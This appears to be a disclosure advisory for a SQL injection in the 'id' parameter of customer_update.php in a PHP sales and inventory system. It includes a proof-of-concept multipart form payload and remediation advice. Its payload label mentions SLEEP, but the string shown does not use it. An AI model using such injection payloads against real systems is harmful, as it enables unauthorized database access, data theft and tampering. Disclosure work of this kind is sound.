Critical Vulnerability Information Affected Product Sales and Inventory System Vulnerable File /pages/customer_update.php Version V1.0 Vulnerability Type SQL Injection Root Cause A SQL injection vulnerability was discovered in the file 'pages/customer_update.php'. The cause is insufficient validation of user input for the parameter 'id', which is directly used in SQL queries. Impact Attackers can exploit this SQL injection vulnerability to gain unauthorized access to the database, leak sensitive data, modify or delete data, compromise system control, and even cause service disruption, posing a serious threat to system security and business continuity. Description During the review of the 'Sales and Inventory System' project, a critical SQL injection vulnerability was identified in the file 'pages/customer_update.php'. The vulnerability stems from inadequate validation of user input for the parameter 'id', allowing attackers to inject malicious SQL queries. As a result, attackers can access the database, modify or delete data without authorization, thereby compromising system security and data integrity. Vulnerability Details and POC Vulnerable Parameter: 'id' Payload: - Parameter: MULTIPART id (custom) POST - Type: MySQL > 5.0 AND time-based blind (query SLEEP) - Payload: ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="id" T RLIKE (SELECT CASE WHEN (124=124) THEN '1' ELSE 0x28 END)-- kRwB ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="last" Abby ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="first" Kenneth ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="address" Silay City ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="contact" 09098 ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk-- Recommended Remediation 1. Use prepared statements and parameter binding. 2. Implement input validation and filtering. 3. Minimize database user privileges. 4. Conduct regular security audits.